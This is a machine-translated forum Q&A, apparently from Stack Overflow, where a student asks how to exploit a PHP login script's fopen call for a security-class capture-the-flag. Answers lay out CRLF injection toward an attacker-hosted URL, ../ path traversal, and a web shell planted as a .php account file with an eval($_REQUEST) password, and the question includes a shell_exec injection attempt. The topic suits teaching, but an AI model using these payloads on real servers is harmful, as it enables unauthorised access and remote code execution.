利用 php 的 fopen 中的漏洞

Exploiting vulnerabilites in php's fopen

我正在学习网络安全 class,对于一项作业,我们必须利用特定的 php 文件并获得对托管该文件的服务器的某种访问权限。我可以设置自己的 $email 和 $password 变量,因为它们是用 $_POST 设置的。我相信我唯一可以利用的代码就是这个。

$email = $_POST['email']
$password = $_POST['password']
....    
$accountfile = "./acounts/" . $email

if(!file_exists($accountfile)){
  diefooter("unknown email address or password")
}
$fh = fopen($accountfile, "r")
if(!$fh){
  diefooter("Cannot open file $accountfile.");
}
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);

if(strcmp($pass,$password)!=0){
  diefooter("wrong email or password.")
}

我知道 fopen() 函数中存在漏洞,我可以使用正确的输入访问 shell。

filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php"
shellKode = "exploit@gmail.com[=12=];echo shell_exec("+'"cat '+filePath+'");'
# payload = {'email':shellKode, 'password':'test'}
testPayload = {'email':'exploit@gmail.com','password':'a'}
r = requests.post(url, data = testPayload)
print(r.text)

我可以将电子邮件输入系统,但格式在保存前经过验证。在这一点上,我有点迷茫,不确定我还能做什么。 fopen() 是文件中我认为可以被利用的唯一函数,我想不出另一个可能被利用的地方。

我认为他们指的是 CRLF 漏洞。

在您的示例利用代码中,您传递了一些 php 代码,但这不是您要做的。

目标是 fopen 从 Internet 打开文件。如果 $email 变量包含两个由 CRLF 分隔的字符串,您可以让 fopen() 访问不应该访问的外部网站。

一切都取决于 $fh 文件描述符之后发生的情况,这将决定您将如何利用它。

这是我在该漏洞上发现的 link:http://www.securiteam.com/unixfocus/5OP0C0A8AC.html

在您发布更多代码后进行编辑

我们从您可以强制 $password 到您想要的值开始。

所以游戏的名称是将 $pass 强制为您想要的值,例如 strcmp returns true,并且您在不知情的情况下登录密码。

$pass 控制在最后一个语句 $pass = fgets($fh)

并且如果您使用 CRLF 漏洞指向 fopen 打开您托管的 URL,例如http://your.ip.address/your-file,并在该文件中设置与 $password 中相同的数据。这应该允许您无需注册即可登录。

但是代码中有一些奇怪的东西,例如:

$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);

似乎代码可能不完整,因为这里 $last$first$pass 的值将始终相同,这没有任何意义。那将是一个需要考虑的向量。

可能性 #2 - 文件遍历

$email 变量中使用 ../,您将能够访问 fopen 中与 acounts/ 文件夹之外的不同文件。

如果你运行:

<?php
$fh = fopen("acounts/../../test.sh","r");
?>

它评估成功并为test.sh的内容查找两个文件夹。因此,您可以通过 $email 变量探测文件系统的内容。然后游戏的名字就是找到一个你知道内容的标准文件,把它填入$password,你就可以免注册登录系统了。

可能性 #3 - 注册一个以 .php:

结尾的电子邮件地址

正如 drew010 所提到的,假设您被允许注册一个自定义帐户,然后通过注册一个以 .php 结尾的 $email,并输入 eval() php 代码在 $password 中注册您的帐户时,会在 acounts/ 中创建一个以您的 $email 命名的后门文件,您可以通过网络访问该文件。

由于它打开的用于存储用户数据的文件被引用为 $accountfile = "./acounts/" . $email 看起来一种可能的攻击媒介是尝试使用像 something@domain.php 这样的电子邮件地址(或者只是username.php 取决于是否有适当的验证)。

由于它会将您的密码写入(可能未经过哈希处理?)该文件,您可以将密码设置为恶意的内容(例如 <?php eval($_REQUEST['x'] ?>)。

然后,查看是否可以访问http://thesite/accounts/something@domain.php?x=echo 'hi';,并查看是否将'hi'打印到浏览器。

如果是这样,那就玩得开心 $_REQUEST['x'] 并让它执行诸如将任意文件写入系统(webshel​​l)或打开和读取其他文件并打印其内容等操作。